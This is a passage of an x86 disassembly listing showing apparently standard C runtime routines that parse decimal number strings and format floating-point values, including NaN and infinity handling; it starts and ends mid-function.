		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41CCBD
; ---------------------------------------------------------------------------


loc_41CCEA:				; CODE XREF: sub_41CC49+77j
		mov	esi, 8000h


loc_41CCEF:				; CODE XREF: sub_41CC49+B9j
		test	[ebx+8], esi
		jnz	short loc_41CD04
		push	ebx
		call	sub_41CBEE
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41CCEF
; ---------------------------------------------------------------------------


loc_41CD04:				; CODE XREF: sub_41CC49+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41CC49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD10	proc near		; CODE XREF: sub_41BB57+17p
					; sub_41BB84+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41CD4B:				; CODE XREF: sub_41CD10+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41CD61
		cmp	cl, 9
		jz	short loc_41CD61
		cmp	cl, 0Ah
		jz	short loc_41CD61
		cmp	cl, 0Dh
		jnz	short loc_41CD64


loc_41CD61:				; CODE XREF: sub_41CD10+40j
					; sub_41CD10+45j ...
		inc	edi
		jmp	short loc_41CD4B
; ---------------------------------------------------------------------------


loc_41CD64:				; CODE XREF: sub_41CD10+4Fj
		push	4
		pop	esi


loc_41CD67:				; CODE XREF: sub_41CD10+AEj
					; sub_41CD10+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41CFEA	; default
					; jumptable 0041CD73 case 10
		jmp	ds:off_41D1B1[eax*4] ; switch jump


loc_41CD7A:				; DATA XREF: .text:off_41D1B1o
		cmp	bl, 31h		; jumptable 0041CD73 case 0
		jl	short loc_41CD8B
		cmp	bl, 39h
		jg	short loc_41CD8B


loc_41CD84:				; CODE XREF: sub_41CD10+C4j
					; sub_41CD10+118j
		push	3
		jmp	loc_41CFA8
; ---------------------------------------------------------------------------


loc_41CD8B:				; CODE XREF: sub_41CD10+6Dj
					; sub_41CD10+72j
		cmp	bl, byte_4379C0
		jnz	short loc_41CD9A


loc_41CD93:				; CODE XREF: sub_41CD10+124j
		push	5
		jmp	loc_41CFE0
; ---------------------------------------------------------------------------


loc_41CD9A:				; CODE XREF: sub_41CD10+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41CDC0
		dec	eax
		dec	eax
		jz	short loc_41CDB4
		sub	eax, 3
		jnz	loc_41D083
		jmp	loc_41CE43
; ---------------------------------------------------------------------------


loc_41CDB4:				; CODE XREF: sub_41CD10+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41CD67
; ---------------------------------------------------------------------------


loc_41CDC0:				; CODE XREF: sub_41CD10+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41CD67
; ---------------------------------------------------------------------------


loc_41CDC9:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: .text:off_41D1B1o
		cmp	bl, 31h		; jumptable 0041CD73 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41CDD6
		cmp	bl, 39h
		jle	short loc_41CD84


loc_41CDD6:				; CODE XREF: sub_41CD10+BFj
		cmp	bl, byte_4379C0
		jz	loc_41CE9E
		cmp	bl, 2Bh
		jz	short loc_41CE18
		cmp	bl, 2Dh
		jz	short loc_41CE18
		cmp	bl, 30h
		jz	short loc_41CE43


loc_41CDF1:				; CODE XREF: sub_41CD10+207j
		cmp	bl, 43h
		jle	loc_41D083
		cmp	bl, 45h
		jle	short loc_41CE11
		cmp	bl, 63h
		jle	loc_41D083
		cmp	bl, 65h
		jg	loc_41D083


loc_41CE11:				; CODE XREF: sub_41CD10+EDj
		push	6
		jmp	loc_41CFE0
; ---------------------------------------------------------------------------


loc_41CE18:				; CODE XREF: sub_41CD10+D5j
					; sub_41CD10+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41CFE0
; ---------------------------------------------------------------------------


loc_41CE20:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: .text:off_41D1B1o
		cmp	bl, 31h		; jumptable 0041CD73 case 2
		jl	short loc_41CE2E
		cmp	bl, 39h
		jle	loc_41CD84


loc_41CE2E:				; CODE XREF: sub_41CD10+113j
		cmp	bl, byte_4379C0
		jz	loc_41CD93
		cmp	bl, 30h
		jnz	loc_41CFF8


loc_41CE43:				; CODE XREF: sub_41CD10+9Fj
					; sub_41CD10+DFj
		mov	eax, edx
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CE4A:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: .text:off_41D1B1o
		mov	[ebp+var_10], edx ; jumptable 0041CD73 case 3


loc_41CE4D:				; CODE XREF: sub_41CD10+184j
		cmp	dword_4379BC, edx
		jle	short loc_41CE66
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41CE74
; ---------------------------------------------------------------------------


loc_41CE66:				; CODE XREF: sub_41CD10+143j
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41CE74:				; CODE XREF: sub_41CD10+154j
		test	eax, eax
		jz	short loc_41CE96
		cmp	[ebp+var_4], 19h
		jnb	short loc_41CE8E
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41CE91
; ---------------------------------------------------------------------------


loc_41CE8E:				; CODE XREF: sub_41CD10+16Cj
		inc	[ebp+var_8]


loc_41CE91:				; CODE XREF: sub_41CD10+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CE4D
; ---------------------------------------------------------------------------


loc_41CE96:				; CODE XREF: sub_41CD10+166j
		cmp	bl, byte_4379C0
		jnz	short loc_41CF05


loc_41CE9E:				; CODE XREF: sub_41CD10+CCj
		mov	eax, esi
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CEA5:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: .text:off_41D1B1o
		cmp	[ebp+var_4], 0	; jumptable 0041CD73 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41CEBE


loc_41CEB1:				; CODE XREF: sub_41CD10+1ACj
		cmp	bl, 30h
		jnz	short loc_41CEBE
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CEB1
; ---------------------------------------------------------------------------


loc_41CEBE:				; CODE XREF: sub_41CD10+19Fj
					; sub_41CD10+1A4j ...
		cmp	dword_4379BC, edx
		jle	short loc_41CED7
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41CEE5
; ---------------------------------------------------------------------------


loc_41CED7:				; CODE XREF: sub_41CD10+1B4j
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41CEE5:				; CODE XREF: sub_41CD10+1C5j
		test	eax, eax
		jz	short loc_41CF05
		cmp	[ebp+var_4], 19h
		jnb	short loc_41CF00
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41CF00:				; CODE XREF: sub_41CD10+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CEBE
; ---------------------------------------------------------------------------


loc_41CF05:				; CODE XREF: sub_41CD10+18Cj
					; sub_41CD10+1D7j
		cmp	bl, 2Bh
		jz	loc_41CE18
		cmp	bl, 2Dh
		jz	loc_41CE18
		jmp	loc_41CDF1
; ---------------------------------------------------------------------------


loc_41CF1C:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: .text:off_41D1B1o
		cmp	dword_4379BC, edx ; jumptable 0041CD73 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41CF38
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41CF46
; ---------------------------------------------------------------------------


loc_41CF38:				; CODE XREF: sub_41CD10+215j
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41CF46:				; CODE XREF: sub_41CD10+226j
		test	eax, eax
		jz	loc_41CFF8
		mov	eax, esi
		jmp	short loc_41CFA9
; ---------------------------------------------------------------------------


loc_41CF52:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: .text:off_41D1B1o
		lea	ecx, [edi-2]	; jumptable 0041CD73 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41CF62
		cmp	bl, 39h
		jle	short loc_41CFA6


loc_41CF62:				; CODE XREF: sub_41CD10+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41CFDE
		dec	eax
		dec	eax
		jz	short loc_41CFD2
		sub	eax, 3
		jnz	loc_41D086


loc_41CF77:				; CODE XREF: sub_41CD10+2A4j
		push	8
		jmp	short loc_41CFE0
; ---------------------------------------------------------------------------


loc_41CF7B:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: .text:off_41D1B1o
		mov	[ebp+var_20], edx ; jumptable 0041CD73 case 8


loc_41CF7E:				; CODE XREF: sub_41CD10+276j
		cmp	bl, 30h
		jnz	short loc_41CF88
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CF7E
; ---------------------------------------------------------------------------


loc_41CF88:				; CODE XREF: sub_41CD10+271j
		cmp	bl, 31h
		jl	loc_41D083
		cmp	bl, 39h
		jg	loc_41D083
		jmp	short loc_41CFA6
; ---------------------------------------------------------------------------


loc_41CF9C:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: .text:off_41D1B1o
		cmp	bl, 31h		; jumptable 0041CD73 case 7
		jl	short loc_41CFAF
		cmp	bl, 39h
		jg	short loc_41CFAF


loc_41CFA6:				; CODE XREF: sub_41CD10+250j
					; sub_41CD10+28Aj
		push	9


loc_41CFA8:				; CODE XREF: sub_41CD10+76j
		pop	eax


loc_41CFA9:				; CODE XREF: sub_41CD10+240j
		dec	edi
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CFAF:				; CODE XREF: sub_41CD10+28Fj
					; sub_41CD10+294j
		cmp	bl, 30h
		jnz	short loc_41CFF8
		jmp	short loc_41CF77
; ---------------------------------------------------------------------------


loc_41CFB6:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: .text:off_41D1B1o
		cmp	[ebp+arg_18], 0	; jumptable 0041CD73 case 11
		jz	short loc_41CFE6
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41CFDE
		dec	eax
		dec	eax
		jnz	loc_41D086


loc_41CFD2:				; CODE XREF: sub_41CD10+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CFDE:				; CODE XREF: sub_41CD10+258j
					; sub_41CD10+2B8j
		push	7


loc_41CFE0:				; CODE XREF: sub_41CD10+85j
					; sub_41CD10+103j ...
		pop	eax
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CFE6:				; CODE XREF: sub_41CD10+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41CFEA:				; CODE XREF: sub_41CD10+5Dj
					; sub_41CD10+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041CD73 case 10
		jz	loc_41D088
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CFF8:				; CODE XREF: sub_41CD10+12Dj
					; sub_41CD10+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41D088
; ---------------------------------------------------------------------------


loc_41D000:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: .text:off_41D1B1o
		mov	[ebp+var_20], 1	; jumptable 0041CD73 case 9
		xor	esi, esi


loc_41D009:				; CODE XREF: sub_41CD10+339j
		cmp	dword_4379BC, 1
		jle	short loc_41D021
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_41D030
; ---------------------------------------------------------------------------


loc_41D021:				; CODE XREF: sub_41CD10+300j
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D030:				; CODE XREF: sub_41CD10+30Fj
		test	eax, eax
		jz	short loc_41D050
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41D04B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41D009
; ---------------------------------------------------------------------------


loc_41D04B:				; CODE XREF: sub_41CD10+334j
		mov	esi, 1451h


loc_41D050:				; CODE XREF: sub_41CD10+322j
		mov	[ebp+var_1C], esi


loc_41D053:				; CODE XREF: sub_41CD10+371j
		cmp	dword_4379BC, 1
		jle	short loc_41D06B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_41D07A
; ---------------------------------------------------------------------------


loc_41D06B:				; CODE XREF: sub_41CD10+34Aj
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D07A:				; CODE XREF: sub_41CD10+359j
		test	eax, eax
		jz	short loc_41D083
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41D053
; ---------------------------------------------------------------------------


loc_41D083:				; CODE XREF: sub_41CD10+99j
					; sub_41CD10+E4j ...
		dec	edi
		jmp	short loc_41D088
; ---------------------------------------------------------------------------


loc_41D086:				; CODE XREF: sub_41CD10+261j
					; sub_41CD10+2BCj
		mov	edi, ecx


loc_41D088:				; CODE XREF: sub_41CD10+2DDj
					; sub_41CD10+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41D170
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41D0B4
		cmp	[ebp+var_45], 5
		jl	short loc_41D0A8
		inc	[ebp+var_45]


loc_41D0A8:				; CODE XREF: sub_41CD10+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41D0B7
; ---------------------------------------------------------------------------


loc_41D0B4:				; CODE XREF: sub_41CD10+38Dj
		mov	eax, [ebp+var_C]


loc_41D0B7:				; CODE XREF: sub_41CD10+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41D166


loc_41D0C1:				; CODE XREF: sub_41CD10+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41D0CF
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41D0C1
; ---------------------------------------------------------------------------


loc_41D0CF:				; CODE XREF: sub_41CD10+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41CC49
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41D0EE
		neg	eax


loc_41D0EE:				; CODE XREF: sub_41CD10+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41D0F9
		add	eax, [ebp+arg_10]


loc_41D0F9:				; CODE XREF: sub_41CD10+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41D101
		sub	eax, [ebp+arg_14]


loc_41D101:				; CODE XREF: sub_41CD10+3ECj
		cmp	eax, 1450h
		jle	short loc_41D138
		mov	[ebp+var_2C], 1


loc_41D10F:				; CODE XREF: sub_41CD10+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41D11B:				; CODE XREF: sub_41CD10+454j
					; sub_41CD10+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41D181
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41D196
; ---------------------------------------------------------------------------


loc_41D138:				; CODE XREF: sub_41CD10+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41D148
		mov	[ebp+var_30], 1
		jmp	short loc_41D10F
; ---------------------------------------------------------------------------


loc_41D148:				; CODE XREF: sub_41CD10+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41D9C9
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41D11B
; ---------------------------------------------------------------------------


loc_41D166:				; CODE XREF: sub_41CD10+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41D11B
; ---------------------------------------------------------------------------


loc_41D170:				; CODE XREF: sub_41CD10+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41D196
; ---------------------------------------------------------------------------


loc_41D181:				; CODE XREF: sub_41CD10+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41D196
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41D196:				; CODE XREF: sub_41CD10+426j
					; sub_41CD10+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41CD10	endp

; ---------------------------------------------------------------------------
off_41D1B1	dd offset loc_41CD7A	; DATA XREF: sub_41CD10+63r
		dd offset loc_41CDC9	; jump table for switch	statement
		dd offset loc_41CE20
		dd offset loc_41CE4A
		dd offset loc_41CEA5
		dd offset loc_41CF1C
		dd offset loc_41CF52
		dd offset loc_41CF9C
		dd offset loc_41CF7B
		dd offset loc_41D000
		dd offset loc_41CFEA
		dd offset loc_41CFB6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1E1	proc near		; CODE XREF: sub_41BC28+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41D243
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41D247
; ---------------------------------------------------------------------------


loc_41D243:				; CODE XREF: sub_41D1E1+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41D247:				; CODE XREF: sub_41D1E1+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41D26D
		test	edi, edi
		jnz	short loc_41D26D
		cmp	[ebp+arg_0], edi
		jnz	short loc_41D26D


loc_41D258:				; CODE XREF: sub_41D1E1+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41D46B
; ---------------------------------------------------------------------------


loc_41D26D:				; CODE XREF: sub_41D1E1+6Cj
					; sub_41D1E1+70j ...
		cmp	dx, si
		jnz	short loc_41D2EC
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41D286
		cmp	[ebp+arg_0], 0
		jz	short loc_41D295


loc_41D286:				; CODE XREF: sub_41D1E1+9Dj
		test	edi, 40000000h
		jnz	short loc_41D295
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41D2DB
; ---------------------------------------------------------------------------


loc_41D295:				; CODE XREF: sub_41D1E1+A3j
					; sub_41D1E1+ABj
		test	cx, cx
		jz	short loc_41D2AF
		cmp	edi, 0C0000000h
		jnz	short loc_41D2AF
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D2D6
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41D2BE
; ---------------------------------------------------------------------------


loc_41D2AF:				; CODE XREF: sub_41D1E1+B7j
					; sub_41D1E1+BFj
		cmp	edi, eax
		jnz	short loc_41D2D6
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D2D6
		push	offset a1Inf	; "1#INF"


loc_41D2BE:				; CODE XREF: sub_41D1E1+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_414FB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41D2CD:				; CODE XREF: sub_41D1E1+109j
		and	[ebp+var_4], 0
		jmp	loc_41D444
; ---------------------------------------------------------------------------


loc_41D2D6:				; CODE XREF: sub_41D1E1+C5j
					; sub_41D1E1+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41D2DB:				; CODE XREF: sub_41D1E1+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_414FB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41D2CD
; ---------------------------------------------------------------------------


loc_41D2EC:				; CODE XREF: sub_41D1E1+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41D9C9
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41D34D
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41D7A9
		pop	ecx
		pop	ecx


loc_41D34D:				; CODE XREF: sub_41D1E1+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41D367
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41D36A
		jmp	loc_41D258
; ---------------------------------------------------------------------------


loc_41D367:				; CODE XREF: sub_41D1E1+173j
		mov	edi, [ebp+arg_C]


loc_41D36A:				; CODE XREF: sub_41D1E1+17Fj
		cmp	edi, 15h
		jle	short loc_41D372
		push	15h
		pop	edi


loc_41D372:				; CODE XREF: sub_41D1E1+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41D388:				; CODE XREF: sub_41D1E1+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CBEE
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41D388
		test	esi, esi
		jge	short loc_41D3B2
		neg	esi
		and	esi, 0FFh
		jle	short loc_41D3B2


loc_41D3A5:				; CODE XREF: sub_41D1E1+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CC1C
		dec	esi
		pop	ecx
		jnz	short loc_41D3A5


loc_41D3B2:				; CODE XREF: sub_41D1E1+1B8j
					; sub_41D1E1+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41D40F
		mov	[ebp+arg_C], ecx


loc_41D3C2:				; CODE XREF: sub_41D1E1+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41CBEE
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CBEE
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CB90
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CBEE
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41D3C2
		mov	eax, [ebp+arg_14]


loc_41D40F:				; CODE XREF: sub_41D1E1+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41D44C


loc_41D41C:				; CODE XREF: sub_41D1E1+248j
		cmp	eax, ecx
		jb	short loc_41D42F
		cmp	byte ptr [eax],	39h
		jnz	short loc_41D42B
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41D41C
; ---------------------------------------------------------------------------


loc_41D42B:				; CODE XREF: sub_41D1E1+242j
		cmp	eax, ecx
		jnb	short loc_41D433


loc_41D42F:				; CODE XREF: sub_41D1E1+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41D433:				; CODE XREF: sub_41D1E1+24Cj
		inc	byte ptr [eax]


loc_41D435:				; CODE XREF: sub_41D1E1+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41D444:				; CODE XREF: sub_41D1E1+F0j
		mov	eax, [ebp+var_4]


loc_41D447:				; CODE XREF: sub_41D1E1+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D44C:				; CODE XREF: sub_41D1E1+239j
					; sub_41D1E1+275j
		cmp	eax, ecx
		jb	short loc_41D45C
		cmp	byte ptr [eax],	30h
		jnz	short loc_41D458
		dec	eax
		jmp	short loc_41D44C
; ---------------------------------------------------------------------------


loc_41D458:				; CODE XREF: sub_41D1E1+272j
		cmp	eax, ecx
		jnb	short loc_41D435


loc_41D45C:				; CODE XREF: sub_41D1E1+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41D46B:				; CODE XREF: sub_41D1E1+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41D447
sub_41D1E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D474	proc near		; CODE XREF: sub_418A1C+33ECp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41D4DB
		dec	eax
		dec	eax
		jz	short loc_41D4CC
		sub	eax, 4
		jz	short loc_41D4CC
		sub	eax, 3
		jz	short loc_41D4CC
		sub	eax, 4
		jz	short loc_41D4BF
		sub	eax, 6
		jz	short loc_41D4B2
		dec	eax
		jz	short loc_41D4A5
